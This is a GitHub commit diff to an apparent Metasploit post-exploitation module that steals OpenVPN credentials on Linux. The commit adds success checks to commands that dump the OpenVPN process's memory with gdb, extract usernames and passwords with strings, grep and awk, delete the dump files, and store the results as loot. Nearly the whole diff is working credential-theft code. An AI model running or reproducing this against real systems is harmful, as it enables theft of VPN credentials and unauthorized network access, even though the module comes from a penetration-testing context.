Skip to content

Commit a48d0b2

Browse files
committed
Added check if the commands executed successfully.
1 parent 0bce906 commit a48d0b2

File tree

1 file changed

+14
-5
lines changed

1 file changed

+14
-5
lines changed

modules/post/linux/gather/openvpn_credentials.rb

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -57,15 +57,24 @@ def run
5757
return
5858
end
5959

60-
cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done')
60+
dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')
61+
if dump.chomp.to_i == 0
62+
vprint_good('Succesfully dump.')
63+
else
64+
print_warning('Could not dump process.')
65+
end
66+
6167
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
62-
cmd_exec("/bin/rm #{tmp_path}*.dump --force")
6368

64-
if strings.empty?
65-
print_error('No credentials. You can check if the PID is correct.')
66-
return
69+
deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")
70+
if deldump.chomp.to_i == 0
71+
vprint_good('Removing temp files successfully.')
72+
else
73+
print_warning('Could not remove dumped files.')
6774
end
6875

76+
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?
77+
6978
vprint_good("OpenVPN Credentials:\n#{strings}")
7079

7180
p = store_loot(

0 commit comments

Comments
 (0)